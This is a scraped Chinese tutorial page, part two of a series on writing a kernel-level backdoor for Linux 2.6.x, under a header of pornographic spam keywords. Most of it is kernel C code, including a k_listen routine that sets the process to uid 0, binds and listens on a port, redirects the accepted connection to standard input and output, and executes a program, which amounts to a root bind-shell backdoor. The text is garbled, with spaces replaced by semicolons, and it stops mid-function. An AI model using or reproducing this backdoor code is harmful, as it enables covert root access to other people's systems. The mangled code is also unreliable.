日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

抒寫Linux 2.6.x下內(nèi)核級(jí)后門程序( 二 )



linux-2.6.18/net/socket.c

asmlinkage;long;sys_socketcall(int;call,;unsigned;long;__user;*args)
{
unsigned;long;a[6];
unsigned;long;a0,a1;
int;err;

...

a0=a[0];
a1=a[1];

switch(call)
{
case;SYS_SOCKET:
err;=;sys_socket(a0,a1,a[2]);
break;
case;SYS_BIND:
err;=;sys_bind(a0,(struct;sockaddr;__user;*)a1,;a[2]);
break;
case;SYS_CONNECT:
err;=;sys_connect(a0,;(struct;sockaddr;__user;*)a1,;a[2]);
break;
case;SYS_LISTEN:
err;=;sys_listen(a0,a1);
break;
case;SYS_SOCKETPAIR:
err;=;sys_socketpair(a0,a1,;a[2],;(int;__user;*)a[3]);
break;
case;SYS_SEND:
err;=;sys_send(a0,;(void;__user;*)a1,;a[2],;a[3]);
break;
...
}

通過(guò)向sys_socketcall函數(shù)2個(gè)參數(shù)來(lái)執(zhí)行具體的函數(shù)調(diào)用 , 參數(shù)call一般為SYS_SOCKET,;SYS_BIND等 , args是一個(gè)數(shù)組 , 通過(guò)向這個(gè)數(shù)組的每個(gè)元素賦值 , 來(lái)調(diào)用不同的函數(shù) 。以bind這個(gè)函數(shù)為例 , 可以這樣調(diào)用:

struct;sockaddr_in;cli_addr;
unsigned;long;args[];

args[0];=;sock_fd;
args[1];=;(unsigned;long)cli_addr;
args[2];=;(unsigned;long)sizeof(struct;sockaddr_in);

sys_socketcall(SYS_BIND,;args);

其他函數(shù)類似 。這樣就可以在內(nèi)核中來(lái)使用這些socket函數(shù)了 。

下面給出一個(gè)具體的監(jiān)聽(tīng)某一個(gè)端口的例子:
int;k_listen(int;port)
{
struct;task_struct;*tsk;=;current;
struct;sockaddr_in;serv_addr;
struct;sockaddr_in;cli_addr;
mm_segment_t;old_fs;
char;buff[100];

unsigned;long;arg[3];
int;sock_fd,;sock_id;
int;tmp_kid;
int;i,;n,;cli_len;

old_fs;=;get_fs();

tsk->uid;=;0;
tsk->euid;=;0;
tsk->gid;=;SGID;
tsk->egid;=;0;

/*;create;socket;*/
arg[0];=;AF_INET;
arg[1];=;SOCK_STREAM;
arg[2];=;0;

set_fs(KERNEL_DS);

ssetmask(~0);

for;(i=0;;i;<;4096;;i)
close(i);

if;((sock_fd;=;socketcall(SYS_SOCKET,;arg));==;-1);{
set_fs(old_fs);

return;0;
}
printk("create;socket;ok./n");

/*;bind;address;*/
memset((void;*);&serv_addr,;0,;sizeof(serv_addr));

serv_addr.sin_family;=;AF_INET;
serv_addr.sin_port;=;htons(port);
serv_addr.sin_addr.s_addr;=;0;

arg[0];=;sock_fd;
arg[1];=;(unsigned;long);&serv_addr;
arg[2];=;(unsigned;long);sizeof(serv_addr);

if;((socketcall(SYS_BIND,;arg));==;-1);{
close(sock_fd);
set_fs(old_fs);

return;0;
}
printk("bind;address;ok./n");

/*;begin;listen;*/
arg[0];=;sock_fd;
arg[1];=;(unsigned;long);255;

if;((socketcall(SYS_LISTEN,;arg));==;-1);{
close(sock_fd);
set_fs(old_fs);

return;0;
}
printk("listen;on;port;%d/n",;port);

cli_len;=;sizeof(cli_addr);
arg[0];=;sock_fd;
arg[1];=;(unsigned;long);&cli_addr;
arg[2];=;(unsigned;long);&cli_len;

if;((sock_id;=;socketcall(SYS_ACCEPT,;arg));==;-1);{
printk("accept;error./n");

close(sock_fd);
set_fs(old_fs);

return;0;
}
printk("accept;a;client./n");

dup2(sock_id,;0);
dup2(sock_id,;1);
dup2(sock_id,;2);

execve(earg[0],;(const;char;**);earg,;(const;char;**);env);

close(sock_id);
close(sock_fd);
set_fs(old_fs);

return;1;
}

三.使用kernel;mode;socket函數(shù)

前面考慮到在內(nèi)核空間使用系統(tǒng)調(diào)用會(huì)使系統(tǒng)效率有所降低 。解決的方法是直接在內(nèi)核中使用內(nèi)核socket函數(shù)來(lái)進(jìn)行通訊 。我們?nèi)タ纯磌ernel;mode;socket是怎么在內(nèi)核中實(shí)現(xiàn)的 , 同樣在linux-2.6.18/net/socket.c中:

在user;mode;socket中的socket函數(shù)的功能是建立個(gè)套接字 , 它是調(diào)用sys_socket函數(shù)來(lái)實(shí)現(xiàn)的 , 因此我們?cè)谧约旱哪K中直接使用它的函數(shù)來(lái)完成相同的功能.先看下它是怎么實(shí)現(xiàn)的:

asmlinkage;long;sys_socket(int;family,;int;type,;int;protocol)
{
int;retval;
struct;socket;*sock;

retval;=;sock_create(family,;type,;protocol,;&sock);

推薦閱讀